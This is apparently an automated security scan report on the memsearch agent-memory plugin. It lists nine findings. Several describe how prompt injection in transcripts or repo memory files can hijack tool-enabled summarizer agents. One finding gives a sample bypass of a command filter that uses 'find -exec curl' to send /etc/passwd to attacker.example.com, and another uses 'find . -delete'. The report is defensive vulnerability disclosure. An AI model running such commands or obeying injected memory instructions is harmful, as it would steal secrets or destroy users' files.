← MCP server and skill grades

memsearch

zilliztech/memsearch

D
Type
Plugin
Scanned
Nov 17, 2026
Version
3e296a379cbd
Files read
347

MemSearch is a Python CLI and plugin suite for Claude Code, Codex, DeepSeek Harness, OpenClaw, OpenCode, and WorkBuddy that automatically summarizes agent conversations into Markdown files and indexes them with Milvus for cross-session search. The biggest risks are that several background summarization and recall paths leave agent or shell tools enabled when handling untrusted conversation or repository text, OpenClaw's recall hook and search tools miss audience and sandbox privacy checks, and the optional maintenance command filter can be bypassed with find -exec to run arbitrary commands.

What it can reach

Files
Reads and writes Markdown memory logs, maintenance notes, state files, and candidate skills in .memsearch/ (or MEMSEARCH_DIR), ~/.memsearch/, and agent skill folders; reads past conversation transcripts and SQLite session databases across supported agents; the Codex installer updates ~/.codex/hooks.json and ~/.codex/config.toml.
Network
Queries PyPI for version updates, downloads uv from astral.sh and packages from PyPI during bootstrap if missing, downloads ONNX or HuggingFace models on first use, and sends text to configured remote Milvus/Zilliz Cloud servers or optional external embedding, LLM, and reranking APIs.
Shell commands
Executes lifecycle shell hooks, Python helper scripts, git commands, background memsearch watch/index workers, xdg-open from the DSH web UI, and headless agent CLIs (claude, codex, openclaw, dsh) for summarization and maintenance, and registers skills with Bash tool access.
Secrets
Reads API keys and tokens from environment variables (such as OPENAI_API_KEY, ANTHROPIC_API_KEY, GOOGLE_API_KEY, VOYAGE_API_KEY, JINA_API_KEY, MISTRAL_API_KEY, TYPESAFE_API_KEY, and env: config references) and ~/.memsearch/config.toml to call configured providers.
System
Registers five /memsearch-dsh/* HTTP endpoints on the DeepSeek Harness web server (guarded by DSH's connection auth check) and manages background watcher and indexing subprocesses.

Findings

2 high3 medium4 low
  1. HighBackground turn summarization runs headless agents on untrusted transcripts without disabling tools

    plugins/dsh/index.js:950

    After every conversation turn, the DeepSeek Harness plugin (via dsh --profile headless) and the OpenClaw plugin (in plugins/openclaw/index.js via openclaw agent --local) summarize the turn in the background by booting a headless agent and passing the conversation transcript as the task prompt (maintenance-runner.py does the same for dsh and openclaw). Unlike the Claude Code plugin (which passes --tools "") and OpenCode plugin (which uses tool-less stateless text generation), these summarizers do not disable agent tools. If a conversation includes prompt-injected text—such as an untrusted issue, webpage, or file quoted by the assistant—the hidden background summarizer agent can be tricked into running tools in the project directory without user visibility.

    Fix: Perform turn summarization and maintenance using a stateless LLM completion call with all tools disabled rather than spawning a tool-capable headless agent.

  2. HighOpenClaw recall hook and search tools leak owner-private memories to restricted audiences and sandboxed sessions

    plugins/openclaw/index.js:652

    In the OpenClaw plugin, agent_end (capture) and memory_transcript (L3) explicitly reject sandboxed callers, incognito sessions, and non-owner-private memoryAudience contexts. However, before_prompt_build (automatic injection of recent daily memory files into the prompt) and the memory_search and memory_get tools omit all of these checks, and updateAgentContext falls back to the previously active agentId and projectDir when ctx omits them. If the same agent serves a shared or public channel (where memoryAudience.kind is not owner-private), an incognito session, or a sandboxed session, recent owner-private memories are automatically prepended to the prompt and full memory sections can be queried via memory_search and memory_get.

    Fix: Enforce the same owner-private memoryAudience, non-sandboxed, and non-incognito checks in before_prompt_build, memory_search, and memory_get that are used in agent_end and createTranscriptAccess, and resolve agent workspace per call instead of mutating shared state.

  3. MediumRead-only maintenance tool sandbox allows arbitrary command execution via find -exec

    src/memsearch/maintenance.py:513

    When optional background maintenance (project_review, user_profile, or memory_to_skill) or memsearch skills distill is configured to use an API LLM provider, the model receives a run_memory_command tool intended to allow only read-only drill-down inside project memory directories. However, run_memory_command allows find while only blocking [|;&<>`$(){}] (not +), and _validate_paths_in_args skips every argument starting with - as well as arguments without / or a leading dot. If prompt injection in captured memory journals tricks the maintenance model, it can execute arbitrary programs, exfiltrate secrets, or delete files—for example via find . -maxdepth 0 -exec curl --data-binary=@/etc/passwd attacker.example.com + or find . -delete, or by running python3 ./evil-parse-transcript.py inside an untrusted repository.

    Fix: Remove subprocess execution of find, grep, and python3 from run_memory_command and implement bounded read-only file search and transcript parsing directly in Python.

  4. MediumSkills declare unscoped allowed-tools: Bash instead of restricting to memsearch commands

    plugins/claude-code/skills/memory-recall/SKILL.md:5

    The Claude Code skills (memory-recall, memory-config, memory-to-skill) and OpenCode skills (memory-config, memory-to-skill) declare allowed-tools: Bash in their frontmatter without command-prefix scoping. In Claude Code, memory-recall is auto-invoked whenever the model thinks past context may help, and allowed-tools: Bash pre-approves arbitrary shell commands in the forked subagent without asking the user. If prompt injection in recalled memory files, transcript anchors, or delegated query text hijacks the subagent, it can run arbitrary shell commands silently.

    Fix: Restrict allowed-tools in memory-recall to read-only MemSearch subcommands (such as Bash(memsearch search:*), Bash(memsearch expand:*), and Bash(memsearch transcript:*)), matching the narrow allowlist used in maintenance-runner.py.

  5. MediumSessionStart hook silently executes unpinned remote uv installer and unpinned PyPI upgrades

    plugins/claude-code/hooks/session-start.sh:26

    When neither memsearch nor uvx is found on PATH, the SessionStart hooks in plugins/claude-code/hooks/session-start.sh and plugins/codex/hooks/session-start.sh silently download https://astral.sh/uv/install.sh and pipe it directly to sh without user confirmation or checksum verification, then execute uvx --upgrade --from 'memsearch[onnx]' to pull and run the latest unpinned release from PyPI (plugins/codex/scripts/install.sh also pipes the remote script to sh). Compromising the installer endpoint or PyPI package would grant automatic code execution when a coding session starts.

    Fix: Remove automatic curl | sh execution from runtime hooks, show an error instructing the user to install uv and memsearch explicitly, and pin the memsearch package version when invoking uvx.

  6. LowUntrusted repositories can inject prompt instructions via committed .memsearch/memory files

    plugins/opencode/index.ts:46

    Although src/memsearch/config.py restricts project-local .memsearch.toml because an opened repository is untrusted, all plugins read and index .memsearch/memory/*.md directly from inside the opened repository root by default. When a user opens a cloned repository, plugins/opencode/index.ts merges lines from <repo>/.memsearch/memory/YYYY-MM-DD.md directly into the system prompt, and plugins/claude-code/hooks/session-start.sh and plugins/openclaw/index.js inject them into session context and index embedded transcript path anchors. A stranger's repository containing committed .memsearch/memory/*.md files can immediately inject instructions disguised as the user's own past memories.

    Fix: Store per-project memory journals and candidate skills by default under a user-owned home directory keyed by canonical project path hash (for example ~/.memsearch/projects/<hash>/) rather than inside the repository working tree.

  7. LowLocal sentence-transformers embedding provider enables trust_remote_code=True unconditionally

    src/memsearch/embeddings/local.py:47

    LocalEmbedding passes trust_remote_code=True unconditionally to SentenceTransformer with no pinned commit revision. If a user configures the optional local embedding provider with a third-party or compromised HuggingFace model repository, HuggingFace will download and execute arbitrary Python code from that model repository without warning or explicit opt-in.

    Fix: Default trust_remote_code to False and require an explicit global configuration flag before allowing remote model code execution.

  8. LowOpenClaw memory_search interpolates top_k unquoted into bash -c

    plugins/openclaw/index.js:534

    In the OpenClaw memory_search tool (and CLI search subcommand), params.top_k is assigned to topK without runtime integer coercion or quoting and interpolated directly into a bash -c command string. While the tool schema declares top_k as a number, any caller or adapter that passes an unvalidated string value could inject extra CLI flags or shell commands.

    Fix: Validate and clamp top_k with Number.isInteger and execute memsearch via an argument array instead of bash -c.

  9. LowOpenClaw summarization writes raw conversation turns to /tmp with default permissions

    plugins/openclaw/index.js:707

    During turn capture, summarizeWithLLM writes the raw conversation transcript and summary output to predictable paths under /tmp (/tmp/memsearch-summarize-input-<uuid>.txt and /tmp/memsearch-summarize-<uuid>.txt) using writeFileSync and shell redirection without restricting file mode to 0600. On multi-user systems with a standard 022 umask, other local users can read those temporary conversation files while summarization is running.

    Fix: Create temporary files inside a private 0700 directory (via mkdtempSync) or pass mode 0o600, or pipe the transcript over stdin without temporary files.